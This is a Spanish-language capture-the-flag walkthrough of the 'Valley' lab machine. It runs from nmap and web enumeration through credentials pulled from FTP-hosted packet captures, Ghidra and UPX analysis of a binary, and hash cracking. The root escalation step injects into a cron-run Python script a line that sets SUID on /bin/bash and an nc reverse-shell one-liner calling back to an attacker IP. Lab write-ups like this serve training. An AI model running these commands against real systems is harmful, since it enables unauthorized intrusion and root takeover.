Valley

En esta maquina se basa en la enumeración de la web para obtener credenciales al servidor ftp en el cual encontraremos unos archivos que debemos analizar con wireshark para obtner credenciales que te permitiran acceder por el servicio ssh para luego obtner un binario que en lo permosnal analice con ghidra

20231109123303.png

Walkthrough

Enumeración


Escaneo de puertos

Iniciamos con nuestra herramienta preferida a escanear los puerto de la maquina victima.

-p-: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.

[IP-VICTIM]: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo. Para entender un poco mas de los parametros que lanzamos con nmap podemos leer un poco lo siguiente:

-p-: Esta opción indica a Nmap que escanee todos los puertos en lugar de un rango específico. El guion ("-") significa "todos los puertos". Esto permite escanear todos los puertos desde el puerto 1 hasta el 65535.

--open: Esta opción le dice a Nmap que solo muestre los puertos que están abiertos. Los puertos abiertos son aquellos en los que un servicio está escuchando y aceptando conexiones.

--min-rate 1000: Esto establece la velocidad mínima de escaneo en 1000 paquetes por segundo. Cuanto mayor sea la velocidad de escaneo, más rápido se completará el escaneo, pero ten en cuenta que un escaneo más rápido puede ser más intrusivo y podría llamar la atención no deseada.

[IP-VICTIM]: Esta es la dirección IP del objetivo que se va a escanear. Debes reemplazarla por la dirección IP que deseas escanear.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Puedes usar esto si sabes que el host objetivo no responde a los paquetes de Ping.

-n: Esta opción le dice a Nmap que no realice la resolución de nombres DNS. Puedes usarlo si no deseas que Nmap realice búsquedas DNS inversas durante el escaneo.

-oG allportsScan: Esta opción le indica a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "allportsScan". Este archivo contendrá información detallada sobre los puertos abiertos y otros detalles del escaneo.

Teniendo los puertos abiertos, vamos a enumerar los servicios y versiones que se ejecutan en los puertos abiertos

-p22,80,37370 : Esta opción especifica los puertos que se van a escanear. En este caso, se están escaneando los puertos 22,80 y 37370 . Los números de puerto están separados por comas y no se utiliza el rango de puertos.

-sV: Esta opción realiza la detección de versiones de servicios. Nmap intentará determinar qué servicios se están ejecutando en los puertos especificados y mostrará información sobre las versiones de esos servicios.

-sC: Activa los scripts de secuencia de comandos (scripts de automatización) de Nmap. Esto permite que Nmap ejecute scripts de detección y enumeración de servicios en los puertos especificados.

-Pn: Esta opción indica a Nmap que no realice el descubrimiento de hosts (Ping) antes de escanear los puertos. Si no se puede contactar con el host a través de Ping, Nmap aún intentará escanear los puertos especificados.

-vvv: Esto establece el nivel de verbosidad del escaneo en "muy alto". Esto significa que Nmap proporcionará una salida detallada que incluye información adicional sobre el progreso del escaneo.

[IP-VICTIM]: Debes reemplazar [IP-VICTIM] con la dirección IP del objetivo que deseas escanear. Este es el host en el que se realizará el escaneo.

-oN servicesScan: Esta opción le dice a Nmap que genere la salida en formato "greppable" (Grep) y la guarde en un archivo llamado "servicesScan". Este archivo contendrá información detallada sobre los servicios y versiones detectadas en los puertos especificados.

Puerto 80

Iniciamos a enumerar el puerto 80 y nos encontramos con el sitio web

20231109123657.png

en este sitio web realizaremos fuzzing para descubrir directorios que no podemos ver de primera

En el directorio static se encuentran las imagenes, la cual tambien realizaremos un descubrimiento de directorios haciendo uso de gobuster

Encontramos un directorio que es 00 la cual existe y no la revisamos. Revisando el direcotio nos encontramos lo siguiente:

20231109134746.png

Observamos un directorio http://[IP-VICTIM]/dev1243224123123/ en el cueñ tenemos un panel de login

20231109134808.png

Observando el codigo fuente podemos encotrar la siguiente ruta:http://[IP-VICTIM]/dev1243224123123/dev.js en la que encontramos un script en javascript

20231109143202.png

Aqui tienes una copia del script de javascript

Haciendo uso de las credenciales podemos iniciar sesion que nos re dirigue a una ruta http://[IP-VICTIM]/dev1243224123123/devNotes37370.txt en donde encontraremos unas notas

20231109143459.png

Explotación


FTP

Haciendo uso de las credenciales que encontramos iniciaremos sesión por el servicio ftp

Una vez iniciado sesión, encontraremos unos archivos .pcapng, los cuales los descargaremos a nuestra máquina atacante

Wireshark

20231109143717.png

Ahora analizaremos los paquetes con wireshark. En el archivo siemHTTP2.pcapng encontraremos unas credenciales que fueron usadas para iniciar sesiones

20231109152340.png

Las credenciales que encontramos son: valleyDev: ph0t0s1234

Escalada de privilegios

Usuario - valleyDev

20231109161200.png

Enumerando encontraremos un usuario siemDev, pero si recordamos encontramos unas credenciales de este usuario por la que las reusaremos siemDev: california

Usuario - siemDev

20231109161959.png

Con el usuario actual podemos enumerar las tareas que se ejecutan, haciendo uso del siguiente comando: cat /etc/crontab

20231109162301.png

El script que se ejecuta es el siguiente:

No podemos hacer mucho con este script, porque solo podemos leer.

En el directorio de l usuario tenemos un binario valleyAuthenticator que nos descargaremos para analizarlos en nuestra máquina de atacante.

Ghidra

Abrimos el binario con ghidra y haciendo uso de search strings de ghidra, podemos ver lo siguiente

20231109191332.png

En los strings nos dan un mensaje de que usemos upx, el cual permite desempaquetar aun mas el binario

Descomprimimos con upx -d valleyAuthenticator

20231109191417.png

Ahora podemos hacer uso de search strigns de ghidra y ahora si podemos ver unos hashes

20231109190904.png
  • e6722920bab2326f8217e4bf6b1b58ac

  • dd2921cc76ee3abfd2beb60709056cfb

Una vez teniendo los hashes haremos uso de crackstationarrow-up-right para crackearlos

20231109193312.png

Las credenciales que obtenemos son: valley: liberty123. Haremos uso de estas credenciales para loguearnos como valley.

Usuario - valley

20231109191518.png

Enumerando los permisos del usario vemos que este usario pertenece a un grupo llamdado valleAdmin

20231109192231.png

Ahora buscaremos archivos que el grupo puede ejecutar

20231109192542.png

Tenemos permiso de escritura del script base64.py, por lo que podemos hacer uso de este script para elevar nuestros privilegios.

Agregamos el siguiente codigo de python

Con os.system("chmod u+s /bin/bash") cambiaremos los privilegios de la bash y con os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP-ATTACKER 443 >/tmp/f') obtendremos nuestra shell

20231109193715.png

Para obtener nuestra shell, recordemos que habia un script que se ejecuta cada determinado tiempo, luego de un minuto podemos observar que la /bin/bash con permisos SUID

20231109193744.png

Usuario root

Ponemos a la escucha ncat y recibiremos una shell

20231109193803.png

¡VAMOS!

Happy hacking :)

Last updated